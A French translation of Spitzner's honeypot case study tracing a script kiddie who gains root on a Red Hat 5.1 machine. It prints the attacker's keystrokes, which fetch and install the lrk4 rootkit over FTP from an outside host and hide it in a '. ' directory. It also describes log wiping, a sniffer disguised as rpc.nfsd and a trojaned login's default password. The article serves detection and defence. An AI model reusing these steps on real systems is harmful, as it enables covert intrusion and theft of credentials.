Cet article a été traduit de
l'anglais par OUAH (OUAH_@hotmail.com),
La version originale est de
Lance Spitzner (lspitz@ksni.net) et peut-être obtenue à
http://www.enteract.net/~lsiptz.
Know Your Enemy III: Ils ont obtenu le
statut root
Cet article est la troisième partie d'une série se
concentrant sur le script kiddie. Le premier article parlait de la façon dont
les script kiddies scannent, identifient, et exploitent des vulnérabilités. Le
deuxième article se concentre sur la façon dont vous pouvez détecter ces
tentatives, identifier quels outils ils utilisent et quelles vulnérabilités ils
recherchent. Cet article, le troisième, se concentre sur ce qui se produit une
fois qu'ils obtiennent le statut root. Spécifiquement, comment ils cachent leurs
traces et ce qu'ils font après.
Qui est le script
kiddie?
Comme nous avons vu dans le premier article, le script kiddie
n'est pas tant une personne, c'est plus une stratégie, la stratégie du scannage
pour une intrusion facile. Il ne recherche pas une information ou une compagnie
particulière, leur but est d'obtenir le statut root de la manière la plus facile
possible. Les hackers font cela en se concentrant sur un petit nombre d'exploits
et puis en recherchant les cibles sur l'entier du net pour tel exploit. Il ne
faut pas sous-estimer cette stratégie, car tôt ou tard ils trouveront une
machine vulnérable.
Une fois qu'ils ont trouvé un système vulnérable et
qu'ils ont obtenu le statut root, la première chose qu'ils font est d'assurer
leurs arrières. Ils veulent s'assurer que vous ne saurez pas que votre système a
été hacké et que vous ne pourrez ni voir ni noter leurs actions. Ensuite, ils
emploient souvent votre système pour scaner d'autres réseaux ou surveiller
silencieusement le vôtre. Pour avoir une meilleure compréhension de la façon
dont les hackers arrivent à leurs fins, nous allons suivre pas à pas les étapes
de compromission d'un système par un hacker utilisant les techniques du script
kiddie. Notre système, appelé mozart, est un ordinateur Linux avec la Red Hat
5.1. Le système a été compromis le 27 avril 1999. Plus bas on a retranscrit les
vrais techniques que notre hacker a utilisées, avec les logs du système et les
frappes au clavier pour vérifier chaque étape. Tous les logs du système ont été
enregistrés sur un serveur protégé syslog, toutes les frappes ont été capturées
avec la technique du sniffing. Pour plus d'information sur la manière dont
toutes ces informations ont peu être capturées, jetez un coup d'oeil sur "To
Build a Honeypot". Dutant tout l'article nous dirons "il" pour le hacker bien
que nous n'avons aucune idée s'il s'agit d'un homme ou d'une
femme.
L'exploit
Le 27 avril à 00:13, notre réseau a été
scanné par l'ordinateur 1Cust174.tnt2.long-branch.nj.da.uu.net pour plusieurs
vulnérabilités dont le bug imap. Notre
hacker est venu sans discrétion vu que
chaque ordinateur de notre réseau a été scanné (pour plus d'information sur la
détection et l'analyse des scans, allez voir le deuxième article de
cette
série).
Apr 27 00:12:25 mozart imapd[939]: connect from
208.252.226.174
Apr 27 00:12:27 bach imapd[1190]: connect from
208.252.226.174
Apr 27 00:12:30 vivaldi imapd[1225]: connect from
208.252.226.174
Apparemment il a du trouvé quelque chose qui lui
plaisait puisqu'il est revenu à 06:52 et à 16:47 le même jour. Il a commencé
avec un scannage plus complet mais cette fois se fixant seulement sur mozart. Il
identifia une vulnérabilité et lança une attaque qui fut couronnée de succès
contre mountd, une vulnérabilité généralement connue pour la Red Hat 5.1. Ici
nous voyons dans
/var/log/messages le hacker qui obtient le statut de
root. L'outil utilisé était certainement
ADMmountd.c ou quelque chose du
style.
Apr 27 16:47:28 mozart mountd[306]: Unauthorized access by NFS
client 208.252.226.174.
Apr 27 16:47:28 mozart syslogd: Cannot glue
message parts together
Apr 27 16:47:28 mozart mountd[306]: Blocked
attempt of 208.252.226.174 to
mount
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
Juste
après cette exploit, nous voyons dans /var/log/messages le hacker devenir root
en se telnetant comme l'user crack0 puis faisant un su à l'user rewt. Chacun de
ces deux comptes ont été ajouté par l'exploit. Notre hacker a maintenant le
contrôle total de notre système.
Apr 27 16:50:27 mozart login[1233]:
FAILED LOGIN 2 FROM
1Cust102.tnt1.long-branch.nj.da.uu.net FOR crak, User not
known to the underlying
authentication module
Apr 27 16:50:38 mozart
PAM_pwdb[1233]: (login) session opened for user crak0 by (uid=0)
Apr 27
16:50:38 mozart login[1233]: LOGIN ON ttyp0 BY crak0
FROM
1Cust102.tnt1.long-branch.nj.da.uu.net
Apr 27 16:50:47 mozart
PAM_pwdb[1247]: (su) session opened for user rewt by
crak0(uid=0)
Cacher ses traces
Le hacker est maintenant root
sur votre système. Comme nous allons le voir maintenant, la suite
pour lui
est de s'assurer de ne pas se faire attrapper. D'abord il regarde s'il y a
quelqu'un d'autre sur l'ordinateur.
[crak0@mozart /tmp]$
w
4:48pm up 1 day, 18:27, 1 user, load average: 0.00, 0.00,
0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
crak0 ttyp0
1Cust102.tnt1.lo 4:48pm 0.00s 0.23s 0.04s w
Après s'être assurer
qu'il n'y ait personne à l'horizon, il voudra cacher tout ce qu'il veut faire.
Ceci nécessite normalement d'enlever n'importe quelle trace des fichiers logs et
de remplacer les exécutables du système, par exemple pour ps et netstat, par des
trojans système, pour que vous ne puissiez voir le hacker sur votre propre
système. Une fois que les trojans ont été installés, le hacker a obtenu le
contrôle total de votre système et vous ne le saurez probablement jamais. De
même qu'il existe des scripts automatiques pour hacker, il y a aussi des outils
automatisés pour cacher les hackers, souvent appelés rootkits. Un des rootkits
les plus connus est lrk4. En exécutant le script, plusieurs fichiers importants
sont remplacés ce qui a pour but de cacher le hacker après quelques secondes.
Pour des informations plus détaillées sur les rootkits, regardez le fichier
README qui accompagne lrk4. Cela vous donnera une meilleure idée de la façon
dont les rootkits fonctionnent en général. Je vous recommande aussi de regarder
"hide and seek", un document intéressant pour cacher ses traces.
Quelques
minutes après avoir compromis notre système, nous voyons le hacker downloader le
rootkit et implémenter le script avec la commande "make install". Ci-dessous,
les vrais frappes au clavier que le hacker a utilisé pour se cacher.
cd
/dev/
su rewt
mkdir ". "
cd ". "
ftp
technotronic.com
anonymous
fdfsfdsdfssd@aol.com
cd
/unix/trojans
get
lrk4.unshad.tar.gz
quit
ls
tar -zxvf
lrk4.unshad.tar.gz
mv lrk4 proc
mv proc ". "
cd ".
"
ls
make install
Remarquez que la première chose
que notre hacker fit est de créer le répertoire caché ". " pour cacher son
rootkit. Ce répertoire n'apparait pas avec la commande "ls", et apparais comme
le
répertoire local avec la commande "ls -la". Une façon de localiser le
répertoire est d'utiliser
la commande "find" (soyez sur que vous ayez en
l'intégrité de votre exécutable "find").
mozart #find / -depth -name
"*.*"
/var/lib/news/.news.daily
/var/spool/at/.SEQ
/dev/.
/. /procps-1.01/proc/.depend
/dev/.
/.
/dev/.
Notre hackeur a été quelque peu laborieux en
utilisant des trojans mais a eu une approche simpliste pour effacer les fichiers
logs. Au lieu d'utiliser des outils de nettoyage comme zap2 ou clean, il a copié
le fichier /dev/null sur les fichiers /var/run/utmp et /var/log/utmp tout en
effaçant /var/log/wtmp. Vous savez peut-être que quelque chose ne joue pas quand
ces fichiers
logs ne contiennent aucune donnée ou si vous obtenez l'erreur
suivante:
[root@mozart sbin]# last -10
last: /var/log/wtmp: No
such file or directory
Perhaps this file was removed by the operator to
prevent logging last info.
L'étape suivante
Une fois
qu'un système a été compromis, les hackers essayent de faire une de ces deux
choses:
Premièrement ils utilisent votre système comme plateforme de
lancement en scannant ou en forçant d'autres systèmes. En second lieu, ils
décident d'étendre leur prise en voyant ce qu'ils peuvent apprendre de votre
système comme des comptes sur d'autres systèmes. Notre hacker opta pour la
solution deux. Il implémenta un sniffer sur notre système qui capturerait tout
le trafic de notre réseau y compris les sessions telnet et ftp sur d'autres
systèmes. De cette façon il pourrait connaître les logins et les passwords. Nous
pouvons voir notre système passer en mode transparent (promiscuous mode) dans
/var/log/messages peu après l'intrusion.
Apr 27 17:03:38 mozart
kernel: eth0: Setting promiscuous mode.
Apr 27 17:03:43 mozart kernel:
eth0: Setting promiscuous mode.
Après avoir implémenté les trojans,
nettoyé les logs et exécuté le sniffer notre hacker se
déconnecta du système.
Cependant, nous le verrons revenir le lendemain pour retirer les résultats de
ses captures du trafic.
Contrôle des dégâts
Puisque notre ami
s'est déconnecté, cela me donna une chance de passer en revue le système et de
voir ce qui s'était exactement passé. J'étais extrêmement intéressé de voir ce
qui avait été altéré et où il stockait les informations du sniffeur. D'abord,
j'identifiai rapidement avec tripwire quels fichiers avaient été modifié.
Remarque: soyez sur de lancer tripwire depuis une source valide. J'aime lancer
une version statically-linked de tripwire d'un lecteur en lecture seule.
Tripwire montra les choses suivantes:
added: -rw-r--r-- root 5 Apr 27
17:01:16 1999 /usr/sbin/sniff.pid
added: -rw-r--r-- root 272 Apr 27
17:18:09 1999 /usr/sbin/tcp.log
changed: -rws--x--x root 15588 Jun 1
05:49:22 1998 /bin/login
changed: drwxr-xr-x root 20480 Apr 10 14:44:37
1999 /usr/bin
changed: -rwxr-xr-x root 52984 Jun 10 04:49:22 1998
/usr/bin/find
changed: -r-sr-sr-x root 126600 Apr 27 11:29:18 1998
/usr/bin/passwd
changed: -r-xr-xr-x root 47604 Jun 3 16:31:57 1998
/usr/bin/top
changed: -r-xr-xr-x root 9712 May 1 01:04:46 1998
/usr/bin/killall
changed: -rws--s--x root 116352 Jun 1 20:25:47 1998
/usr/bin/chfn
changed: -rws--s--x root 115828 Jun 1 20:25:47 1998
/usr/bin/chsh
changed: drwxr-xr-x root 4096 Apr 27 17:01:16 1999
/usr/sbin
changed: -rwxr-xr-x root 137820 Jun 5 09:35:06 1998
/usr/sbin/inetd
changed: -rwxr-xr-x root 7229 Nov 26 00:02:19 1998
/usr/sbin/rpc.nfsd
changed: -rwxr-xr-x root 170460 Apr 24 00:02:19 1998
/usr/sbin/in.rshd
changed: -rwxr-x--- root 235516 Apr 4 22:11:56 1999
/usr/sbin/syslogd
changed: -rwxr-xr-x root 14140 Jun 30 14:56:36 1998
/usr/sbin/tcpd
changed: drwxr-xr-x root 2048 Apr 4 16:52:55 1999
/sbin
changed: -rwxr-xr-x root 19840 Jul 9 17:56:10 1998
/sbin/ifconfig
changed: -rw-r--r-- root 649 Apr 27 16:59:54 1999
/etc/passwd
Comme vous pouvez le voir plusieurs exécutables et
fichiers ont été modifié. Il n'y avait aucune nouvelle entrée dans /etc/passwd
(il avait prudemment enlevé les comptes de crak0 et de rewt) donc notre hacker
avait du laisser une backdoor dans un des exécutables modifiés. En outre, deux
fichiers avaient été ajoutés, /usr/sbin/sniff.pid et /usr/sbin/tcp.log. Sans
surprise /usr/sbin/sniff.pid était le pid du sniffer et /usr/sbin/tcp.log était
où il stockait toutes les informations capturées. Se basant sur
/usr/sbin/sniff.pid, le sniffer s'est avéré être rpc.nfsd. Notre hacker avait
compilé un sniffer, ici linsniffer, et remplaça rpc.nfsd par celui-ci. Cela lui
assurait que si le système était rebooté, le sniffer redémarrait le processus
d'initialisation. Les lignes suivantes confirment que rpc.nfsd est le
sniffer:
mozart #strings /usr/sbin/rpc.nfsd | tail -15
cant get
SOCK_PACKET socket
cant get flags
cant set promiscuous
mode
----- [CAPLEN Exceeded]
----- [Timed Out]
-----
[RST]
----- [FIN]
%s =>
%s
[%d]
sniff.pid
eth0
tcp.log
cant open
log
rm %s
Après avoir passé en revue le système et compris
ce qui s'était passé, je quittai le système.
J'étais curieux de savoir ce que
ferait le hacker après. Je n'ai pas voulu qu'il sût que je l'avais attrapé,
ainsi j'ai enlevé toutes mes entrées de /usr/sbin/tcp.log.
Les suites
du script kiddie
Notre hacker revint le jour suivant. En sauvant ses
frappes au clavier, je pus rapidement
identifier la backdoor, /bin/login
étais infectée par un trojan. Cet exécutable utilisé pour les connexions telnet
était configuré pour donner au compte "rewt" les privilèges root avec le mot de
passe "satori". Le mot de passe "satori " est le mot de passe par défaut pour
tous les exécutables trojaned que le rootkit lrk4 utilise, une information
radicale pour savoir si
votre système a été compromis.
Le hacker
vérifiait son sniffer pour s'assurer qu'il fonctionnait toujours. En outre, il
voulait voir si un compte avait été capturé depuis la veille. Vous pouvez voir
ses frappes au clavier sur "keystrokes.txt". Remarquez qu'à la fin du log notre
hacker fit un kill sur le sniffer. Ce fut la dernière chose qu'il fit avant de
finir sa session. Cependant, il revint rapidement après quelques minutes avec
une autre session juste pour redémarrer le sniffer. Je ne sais pas vraiment
pourquoi il fit cela.
Cette histoire de vérification du système continua
encore plusieurs jours. Chaque jour le hacker voulait se connecter au système
pour voir si le sniffer fonctionnait et s'il avait pris des données
intéressantes. Après le quatrième jour, j'en eus assez et déconnectai le
système. J'avais appris assez des actions du hackeur et n'allais rien apprendre
de nouveau.
Conclusion
Nous avons vu dans cet article comment
un hacker peut agir, du début à la fin, une fois qu'il est devenu root sur votre
système. Ils commencent souvent par vérifier si quelqu'un est sur le système.
Une fois qu'ils savent que la voie est libre, ils dissimulent leurs traces en
nettoyant les fichiers logs et en remplaçant ou en modifiant des dossiers
importants. Une fois qu'ils sont cachés de manière sure, ils passent à de
nouvelles et plus préjudiciables activités. Leur tactique est de rester, vu que
les nouveaux exploits sont constamment découverts. Pour mieux se protéger contre
ces menaces, je vous recommande de sécuriser vos ordinateurs. Une sécurité de
base vous protégera contre la menace de la plupart des script kiddies, contre le
fait qu'ils forcent un système sans trop de problèmes. Pour se faire une idée
sur la façon de sécuriser votre système, allez voir "Armoring Linux" ou
"Armoring Solaris". S' il est trop tard et que vous pensez que votre système a
déjà été compromis, un bon départ est le site du CERT "Recovering from an
Incident" .